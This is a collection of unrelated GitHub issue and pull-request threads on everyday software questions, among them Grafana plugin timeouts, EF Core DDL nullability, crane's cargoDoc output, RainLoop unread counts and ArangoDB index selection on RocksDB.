
@msvihra sorry, we can't override grafana default timeout, cause plugin make http request not directly and use grafana backendSrv interface for it
i spent some time to try to figure out how timeout setup in grafana sources, but without success
so, if you use JOINS and GROUP BY
maybe you query can be improved via dictionaries and dictGet* functions?

@Slach Thanks for reply and follow up.
In this case we should come with another solution
THanks you very much


maybe this is the 2D graphics rust crate that you wanted

crossplatform
https://github.com/ggez/ggez
https://ggez.rs/
the relation with gfx-rs:
https://gfx-rs.github.io/2019/06/12/anniversary-5.html

Not sure exactly what this is in response to, but we're aware of ggez; it's already mentioned in the readme. Thanks though!


Make explorer file search search for whole words.

I have a long list of files in the explorer:

I search (type with the explorer in focus) for the word "modal":
It searches for the letters m, o, d, a and l. I don't know if this is expected and I'm using it wrong or a bug.

Expected
It should search for the whole word, not just the letters.
P.S.

I have tried using it as a regex search but it's not that.
I have searched in the issues for duplicates but couldn't find any.
If I have missed a setting or an existing feature, please point me towards it and close this issue.

I guess this is a feature request against the tree to not fuzzy search but regular search, thus forwarding to Joao

I guess this is a feature request against the tree to not fuzzy search but regular search, thus forwarding to Joao

Sorry but this was closed out of scope: https://github.com/microsoft/vscode/issues/66913

Sorry but this was closed out of scope: https://github.com/microsoft/vscode/issues/66913


Consider specifying NULL columns explicitly in DDL

(copied from a conversation in https://github.com/aspnet/EntityFramework/issues/8113)
Currently for an entity type like this:
    public class Meter
    {
        [Key]
        public int MeterId { get; set; }

        public float Base { get; set; }

        public float? Base2 { get; set; }
    }

For SQL Server we generate DDL like this:
    CREATE TABLE [Meter] (
    [MeterId] int NOT NULL IDENTITY,
    [Base] real NOT NULL,
    [Base2] real,
    CONSTRAINT [PK_Meter] PRIMARY KEY ([MeterId])
);

As mentioned by @ErikEJ the nullability of Base2 is ambiguous in the script and it can even be altered globally by SET ANSI_NULL_DFLT_ON OFF (see https://docs.microsoft.com/en-us/sql/t-sql/statements/set-ansi-null-dflt-on-transact-sql).
The proposal is to specify NULL explicitly instead of relying on the default behavior, e.g.:
    CREATE TABLE [Meter] (
    [MeterId] int NOT NULL IDENTITY,
    [Base] real NOT NULL,
    [Base2] real NULL,
    CONSTRAINT [PK_Meter] PRIMARY KEY ([MeterId])
);

In triage we decided we will give @bricelam the last word on this, so adding my argument here:
SQL is a language I for once only use occasionally, and so I prefer to rely very little on previous knowledge about rules and conventions in order to understand things that the code is doing implicitly.
I actually don't feel strongly about it, but I do believe it would be better to be explicit.

Given that we decided to always make it explicit in C#, and it was explicit in EF6, I think we should do it.
Personally, I don't like it since NULL just means don't add a null constraint to the column, and telling the database not to do something it wouldn't have is silly. ☺

Also, SQLCE does not like having it not specified (see the EF6 issue)


Don't install target/release in cargoDoc

Motivation
Right now, craneLib.cargoDoc output includes the contents of target/release:
$ exa --tree --level 2 result/target/release
result/target/release
├── build
│  ├── simple-277affac19bb59bc
│  └── simple-b13f3c7ff4e09d62
├── crane-dummy -> /nix/store/sbxa6xwi2f67a2kcngcvlvsp49xicq2m-simple-deps-0.1.0/target/release/crane-dummy
├── crane-dummy.d -> /nix/store/sbxa6xwi2f67a2kcngcvlvsp49xicq2m-simple-deps-0.1.0/target/release/crane-dummy.d
├── deps
│  ├── byteorder-aeb8a302464a1b59.d -> /nix/store/sbxa6xwi2f67a2kcngcvlvsp49xicq2m-simple-deps-0.1.0/target/release/de
ps/byteorder-aeb8a302464a1b59.d
│  ├── byteorder-f76acca05a702bfb.d -> /nix/store/sbxa6xwi2f67a2kcngcvlvsp49xicq2m-simple-deps-0.1.0/target/release/deps/byteorder-f76acca05a702bfb.d
│  ├── crane_dummy-8abc31b05855626c.d -> /nix/store/sbxa6xwi2f67a2kcngcvlvsp49xicq2m-simple-deps-0.1.0/target/release/deps/crane_dummy-8abc31b05855626c.d
│  ├── crane_dummy-54bb6b807d416584.d -> /nix/store/sbxa6xwi2f67a2kcngcvlvsp49xicq2m-simple-deps-0.1.0/target/release/deps/crane_dummy-54bb6b807d416584.d
│  └── ...
├── examples
├── incremental
├── libsimple.d -> /nix/store/sbxa6xwi2f67a2kcngcvlvsp49xicq2m-simple-deps-0.1.0/target/release/libsimple.d
└── libsimple.rlib -> /nix/store/sbxa6xwi2f67a2kcngcvlvsp49xicq2m-simple-deps-0.1.0/target/release/libsimple.rlib

These are symlinks, so they don't add disk space, but they do clutter up the output and potentially increase the closure size (as well as adding a dependency on the cargoArtifacts derivation).
Adding rm -rf target/release to the preInstall hook works, but it feels a little messy. Maybe a better solution would be to modify installCargoArtifactsHook.sh to not symlink these files in the first place?
What do you think?
Checklist

[ ] added tests to verify new behavior
[ ] added an example template or updated an existing one
[ ] updated docs/API.md (or general documentation) with changes
[x] updated CHANGELOG.md

The way to actually opt out of his behavior (installing target at all) is to set doInstallCargoArtifacts = false
Now I'd entertain the argument that cargoDoc should default doInstallCargoArtifacts = false; unless specified. I can't quite recall why the existing default was left in place, maybe for "simplicity" in case anyone wanted to chain their cargoDoc derivation, but thinking about it today I'd be in favor of having cargoDoc install fewer things by default

My view is that cargoDoc should install only the built documentation (from target/doc) — does that make sense?

Yep, should be address in https://github.com/ipetkov/crane/pull/381

Ah wait I though cargoDoc already did install the html docs and we were installing the rest of the artifacts as well, doesn't seem like we were

https://github.com/ipetkov/crane/pull/381 looks good, I'll close this in favor of that


NIFI-2751 - Pull batch in round-robin manner - fix for / by 0

All looks good. +1 merged to master. Thanks for addressing this, @pvillard31!


Execute data pipeline on test environment via SSH

Description
Set up a mechanism to execute the data pipeline in the test environment remotely via SSH, requiring coordination with industry partner (Chris) for access and configuration.
Acceptance criteria

Establish SSH access to the test environment with necessary security measures.
Implement a script or tool that triggers the data pipeline execution remotely.
Coordinate with Chris to ensure proper setup and troubleshooting.

Definition of done (DoD)

Remote execution via SSH is reliable and secure.
Documentation for the setup and execution process is available for team use.

DoD general criteria

Feature has been fully implemented
Feature has been merged into the mainline
All acceptance criteria were met
Product owner approved features
All tests are passing
Developers agreed to release

Obsolete since resolved differently. The data will be loaded every time automatically.


(Optionally) Check all subscribed folders for unread mails

RainLoop version, browser, OS:
Latest release on Debian Jessie
Expected behavior and actual behavior:
When login in or refreshing every folder should show it's unread count
Steps to reproduce the problem:
Logs or screenshots:
I know in #14 you said that you tried to avoid it, but showing all unread counts is very handy if you use sieve and have a lot of email going straight to folders. Maybe having it as a user option that is not enabled by default would be a good workaround.

I read in another issue that it should in fact work automagical for fewer than 50 folders. For more than 50 one can enable it for every single folder (AFAIK).
Unfortunately I do not see the unread count either and just wanted to open exactly the same issue...
My Version: 1.11.03

I checked the problem in detail and it seems the unread counts are only not shown for the system folders (sent/drafts/spam/trash/archive). For custom created folders everything is as expected. Part of the story is the imap server, as mails getting moved to spam are auto-read in my case, drafts can not be unread by nature, as is trash. Only Archive seems a different. Unread mails moved there stay unread but are not visible in a counter.

@joe-average-user Thanks for the tip, the feature in #611  is what I wanted.  Seems to work fine for me (dovecot 1:2.2.13-12~deb8u1 with fewer that 50 folders).
@RainLoop Feel free to close this issue, although an option to mass enable/disable the feature would be handy.

One additional comment: yesterday I saw someone using rainloop on a provider (IMAP mailbox) I do not use myself. And he got an "unread" count on his Spam-folder. So it seems seeing unreads on system folders is really depending on the imap-server(-config) and not a rainloop issue.


DataBlock isChanged is not correct

MiFare.Classic.DataBlock
public bool IsChanged => (!data.Equals(origData));
is maybe
public bool IsChanged => (!data.SequenceEqual(origData));

To set expectations, I am not actively working on this project but will accept PR's and get new versions out if there are fixes.

Fixed by #5


add idmvs mapper

add idmvs mapper

please fix go lint and fix the make[1]: *** No rule to make target 'mapper'.  Stop. error in https://github.com/kubeedge/mappers-go/actions/runs/4204435092/jobs/7450820617.
re-push the commit and re-run the CI workflow.


Add OS X into podspec

All of the available versions are restricted to ios but this also should be available for osx.

+1


Building erlang with documentation

Hello!  I know this use-case is a bit unusual but I'm using yocto to build a target image where I can develop elixir apps using the vs code remote workflow and elixirLS.  During startup, elixirLS gives this warning:
OTP compiled without EEP48 documentation chunks. Language features for erlang modules will run in limited mode. Please reinstall or rebuild OTP with appropriate flags.
Some quick searching shows that the environment variable KERL_BUILD_DOCS=yes should be enabled during the build to resolve this issue.
I tried constructing a .bbappend file to prepend the do_configure task, but my changes didn't seem to affect the build.  Can you suggest a way to do this?

Sorry, I added this from the wrong account.  Please delete.


bug: mda widget broken on latest pymmcore-widgets

The following lines are now out of date and throwing errors as the corresponding objects no longer exist in pymmcore-widgets
https://github.com/pymmcore-plus/napari-micromanager/blob/433cb9e0686ae837c934c66dfaba12b989c01106/src/napari_micromanager/_gui_objects/_mda_widget.py#L34-L44
n.b. you need to be running  https://github.com/pymmcore-plus/pymmcore-widgets/pull/159 in order to get far enough to run into these errors.

fixed with #269


Add support for dwarf expressions on global variables.

The Swift compiler emits a DW_OP_deref for global variables in a fixed
size buffer, which is correct unless the variable uses inline
storage. This makes the majority of resilient types in Foundation work
as global variables.  The correct solution would be for LLDB to poke
at the runtime to figure out whether the storage is inline or not, but
until then this is the next best thing.
rdar://problem/39767528

test with https://github.com/apple/swift/pull/16318
@swift-ci test


chore: update COBRA

Main improvements in this PR:
Updated COBRA. No content changes in model (.xml & .yml don't change), only the number of decimals in some stoichiometric coefficients in .txt, most likely due to https://github.com/opencobra/cobratoolbox/pull/1294
I hereby confirm that I have:

[x] Tested my code with all requirements for running the model
[x] Selected devel as a target branch (top left drop-down menu)
[x] If needed, asked first in the Gitter chat room about this PR

@feiranl could you check that no changes are observed in the .txt file in MAC if you go through an I/O cycle?

The .txt file has changed, mainly because coefficients are a little bit different. For example, in the reaction r_4048, the coefficient for s_001[ce] has changed from 0.71609 to 0.716087.
r_4048	0.71609 s_0001[ce] + 0.23919 s_0004[ce] + 0.28569 s_0773[c] + 0.68015 s_1107[c] + 0.11505 s_1520[c]  -> s_3718[c] 		  0.00	1000.00	  0.00
r_4048	0.716087 s_0001[ce] + 0.239185 s_0004[ce] + 0.285686 s_0773[c] + 0.680151 s_1107[c] + 0.115049 s_1520[c]  -> s_3718[c] 		  0.00	1000.00	  0.00

@feiranl are you sure you are doing the analysis in chore/COBRAupdate? The coefficient in this branch for that rxn/met is already 0.716087

Everything is fine when I switch to this branch, it is okay to merge.


[6.0][Parse] Adjust diagnostic location for platform condition arguments

Cherry-pick https://github.com/apple/swift/pull/72384 into release/6.0
rdar://124160048

@swift-ci Please test


Telegram-bot Search Result Error

The telegram-bot searched the above picture and its result is wrong, but the result of web is right.

I tried the telegram bot with the image above, the result is the same for me.

@soruly I took screenshots many times that day, but only once did that happen. Today I can not reproduce the two different phenomena, but this is not the point. What I want to say is to identify errors, and today's screenshot recognition is correct. The screenshot is as follows:


Regression between mmfiles and rocksdb when using indexes

My Environment

ArangoDB Version:        3.6.9-3.7.8
Storage Engine:             RocksDB
Deployment Mode:       Single Server
Deployment Strategy:   Manual Start
Configuration:               default configuration
Infrastructure:               own
Operating System:        Debian 9.13
Total RAM in your machine:   16gb
Disks in use:        SSD
Used Package:              official arangodb3-linux-3.6.9.tar.gz

Component, Query & Data
Affected feature:
AQL query on rocksdb engine
AQL query (if applicable):
Query String (164 chars, cacheable: false):
 FOR a IN test1 FILTER a._ci == 'vCollect/28692498-f5cf-44b2-87c0-d0448070489e' FILTER a.netDev !=
 true AND a.ipLong > 172125031 AND a.ipLong < 172126032 RETURN a.ip

AQL profile:
Execution plan:
 Id   NodeType          Calls   Items   Runtime [s]   Comment
  1   SingletonNode         1       1       0.00000   * ROOT
  9   IndexNode             1       0       0.00007     - FOR a IN test1   /* hash index scan, projections: `ip`, `netDev`, `ipLong` */    FILTER (((a.`netDev` != true) && (a.`ipLong` > 172125031)) && (a.`ipLong` < 172126032))   /* early pruning */
  7   CalculationNode       1       0       0.00001       - LET #5 = a.`ip`   /* attribute expression */   /* collections used: a : test1 */
  8   ReturnNode            1       0       0.00000       - RETURN #5

Indexes used:
 By   Name                      Type   Collection   Unique   Sparse   Selectivity   Fields             Ranges
  9   idx_1692009215052218368   hash   test1        false    false        33.33 %   [ `_ci`, `mac` ]   (a.`_ci` == "vCollect/28692498-f5cf-44b2-87c0-d0448070489e")

Optimization rules applied:
 Id   RuleName
  1   move-calculations-up
  2   move-filters-up
  3   move-calculations-up-2
  4   move-filters-up-2
  5   use-indexes
  6   remove-filter-covered-by-index
  7   remove-unnecessary-calculations-2
  8   reduce-extraction-to-projection
  9   move-filters-into-enumerate

Query Statistics:
 Writes Exec   Writes Ign   Scan Full   Scan Index   Filtered   Exec Time [s]
           0            0           0            0          0         0.00824

Query Profile:
 Query Stage           Duration [s]
 initializing               0.00001
 parsing                    0.00006
 optimizing ast             0.00001
 loading collections        0.00001
 instantiating plan         0.00002
 optimizing plan            0.00289
 executing                  0.00011
 finalizing                 0.00382

Dataset:
c1=db._createDocumentCollection("test1")

c1.ensureIndex({type:"persistent",fields:["_ci"],unique:false,sparse:false,deduplicate:true})
c1.ensureIndex({type:"persistent",fields:["_ci","mac"],unique:false,sparse:false,deduplicate:true})
c1.ensureIndex({type:"persistent",fields:["vIntL3Id"],unique:false,sparse:false,deduplicate:true})
c1.ensureIndex({type:"persistent",fields:["_ci","ip"],unique:false,sparse:false,deduplicate:true})
c1.ensureIndex({type:"persistent",fields:["_ci","ipLong"],unique:false,sparse:false,deduplicate:true})

c1.insert({"type":2300,"data":{"_key":"509123","_id":"vArp/509123","_rev":"_b2HZMC---_","ip":"<IP_ADDRESS>","mac":"0200.6600.0304","vIntL3Id":"vIntL3/508260","ipLong":172124519,"_ci":"vCollect/28692498-f5cf-44b2-87c0-d0448070489e"}})
c1.insert({"type":2300,"data":{"_key":"509608","_id":"vArp/509608","_rev":"_b2HZMH---_","ip":"<IP_ADDRESS>","mac":"0200.6600.0405","vIntL3Id":"vIntL3/508269","ipLong":172125032,"_ci":"vCollect/28692498-f5cf-44b2-87c0-d0448070489e"}})
c1.insert({"type":2300,"data":{"_key":"509948","_id":"vArp/509948","_rev":"_b2HZMIq--B","ip":"<IP_ADDRESS>","mac":"5000.0006.0005","vIntL3Id":"vIntL3/508278","ipLong":172148742,"_ci":"vCollect/28692498-f5cf-44b2-87c0-d0448070489e"}})

Problem:
We are migrating mmfiles to rocksdb. We are facing a problem where a lot of queries are significantly slower than with mmfiles. The problem is the inappropriate choice of indexes, as in this case.
Our Filters for queries come from the user interface and the variability is huge, there is no problem with mmfiles, while for rocksdb it is necessary to follow the order of parameters for the filter, otherwise the correct indexes are not applied and queries are very slow.
This query is only a minimal example, in reality we have much complex queries that work over GB datasets. On large datasets, this leads to a significant difference in query execution time, eg mmfiles: 0.11540s rocksdb: 58.91834s with the same query as above.
Expected result:
Use index [ _ci, ipLong ] on test1 collection. Why is used [ _ci, mac ]?
There is the same query run on 3.6.9 with mmfiles storage, everything is fine and query is very fast.
c1=db._createDocumentCollection("test1")
c1.ensureIndex({type:"hash",fields:["_ci"],unique:false,sparse:false,deduplicate:true})
c1.ensureIndex({type:"hash",fields:["_ci","mac"],unique:false,sparse:false,deduplicate:true})
c1.ensureIndex({type:"hash",fields:["vIntL3Id"],unique:false,sparse:false,deduplicate:true})
c1.ensureIndex({type:"hash",fields:["_ci","ip"],unique:false,sparse:false,deduplicate:true})
c1.ensureIndex({type:"skiplist",fields:["_ci","ipLong"],unique:false,sparse:false,deduplicate:true})

c1.insert({"type":2300,"data":{"_key":"509123","_id":"vArp/509123","_rev":"_b2HZMC---_","ip":"<IP_ADDRESS>","mac":"0200.6600.0304","vIntL3Id":"vIntL3/508260","ipLong":172124519,"_ci":"vCollect/28692498-f5cf-44b2-87c0-d0448070489e"}})
c1.insert({"type":2300,"data":{"_key":"509608","_id":"vArp/509608","_rev":"_b2HZMH---_","ip":"<IP_ADDRESS>","mac":"0200.6600.0405","vIntL3Id":"vIntL3/508269","ipLong":172125032,"_ci":"vCollect/28692498-f5cf-44b2-87c0-d0448070489e"}})
c1.insert({"type":2300,"data":{"_key":"509948","_id":"vArp/509948","_rev":"_b2HZMIq--B","ip":"<IP_ADDRESS>","mac":"5000.0006.0005","vIntL3Id":"vIntL3/508278","ipLong":172148742,"_ci":"vCollect/28692498-f5cf-44b2-87c0-d0448070489e"}})

db._profileQuery("FOR a IN test1 FILTER a._ci == 'vCollect/28692498-f5cf-44b2-87c0-d0448070489e' FILTER a.netDev != true AND a.ipLong > 172125031 AND a.ipLong < 172126032 RETURN a.ip")

Query String (164 chars, cacheable: false):
 FOR a IN test1 FILTER a._ci == 'vCollect/28692498-f5cf-44b2-87c0-d0448070489e' FILTER a.netDev !=
 true AND a.ipLong > 172125031 AND a.ipLong < 172126032 RETURN a.ip

Execution plan:
 Id   NodeType          Calls   Items   Runtime [s]   Comment
  1   SingletonNode         1       1       0.00000   * ROOT
  9   IndexNode             1       0       0.00003     - FOR a IN test1   /* skiplist index scan */    FILTER (a.`netDev` != true)   /* early pruning */
  7   CalculationNode       1       0       0.00001       - LET #5 = a.`ip`   /* attribute expression */   /* collections used: a : test1 */
  8   ReturnNode            1       0       0.00000       - RETURN #5

Indexes used:
 By   Name                      Type       Collection   Unique   Sparse   Selectivity   Fields                Ranges
  9   idx_1692009501643767808   skiplist   test1        false    false            n/a   [ `_ci`, `ipLong` ]   ((a.`_ci` == "vCollect/28692498-f5cf-44b2-87c0-d0448070489e") && (a.`ipLong` > 172125031) && (a.`ipLong` < 172126032))

Optimization rules applied:
 Id   RuleName
  1   move-calculations-up
  2   move-filters-up
  3   move-calculations-up-2
  4   move-filters-up-2
  5   use-indexes
  6   remove-filter-covered-by-index
  7   remove-unnecessary-calculations-2
  8   move-filters-into-enumerate

Query Statistics:
 Writes Exec   Writes Ign   Scan Full   Scan Index   Filtered   Exec Time [s]
           0            0           0            0          0         0.00726

Query Profile:
 Query Stage           Duration [s]
 initializing               0.00001
 parsing                    0.00005
 optimizing ast             0.00001
 loading collections        0.00001
 instantiating plan         0.00002
 optimizing plan            0.00234
 executing                  0.00006
 finalizing                 0.00416

PR https://github.com/arangodb/arangodb/pull/13686 was landed in devel/3.8 recently.
3.7 backport is supposed to be included in release 3.7.11.

@aoj: 3.7.11 has been released meanwhile. Does it solve the problem?


Update README.md

fix typo
PR Summary

PR Checklist

Do you want this post to be published on a specific date?: Y/N [Specify date]:
I have read the contributors guide and followed the style and process guidelines
PR has a meaningful title
[ ] Includes content related an open issue

see Closing issues using keywords.

[ ] This PR is ready to merge and is not Work in Progress

Good catch. - thanks.

Very happy to contribute. Thanks


Added a barcode scanner

Added the following:

A couple of field in the Product class to support Orderable and Scannable products. Orderable products appear on the Order page, Scannable products can be added by scanning them with a barcode scanner.
The addition of a ignore_shift_restrictions field in the Product class to support products that may ignore shift restrictions
The addition of a type field in the Order class to support different types of orders (for now only Ordered and Scanned)
The addition of a barcode scanner on the admin page
An alteration of the order overview where scanned items appear with a desktop fontawesome icon
A fixtures file (yes, really nice isn't it 😄)

Closes #119
Closes #122
Closes #123

@KiOui For some reason, when testing on iPhone, it doesn't work correctly anymore (it doesn't ask for permission correctly)

@KiOui For some reason, when testing on iPhone, it doesn't work correctly anymore (it doesn't ask for permission correctly).
Also on mobile, I think it would be nice to make the camera view 100% width

I'll first fix all issues above and then look at this.

[ ] When scanning an item, the price should appear too (maybe for all products have the __str__ be f"{self.name} ({self.price})")
[ ] the close button of the scanner window looks weird on mobile, like its italic

@KiOui For some reason, when testing on iPhone, it doesn't work correctly anymore (it doesn't ask for permission correctly).
Also on mobile, I think it would be nice to make the camera view 100% width

This was because the site was not secure, non-https sites will not be allowed to stream from the camera.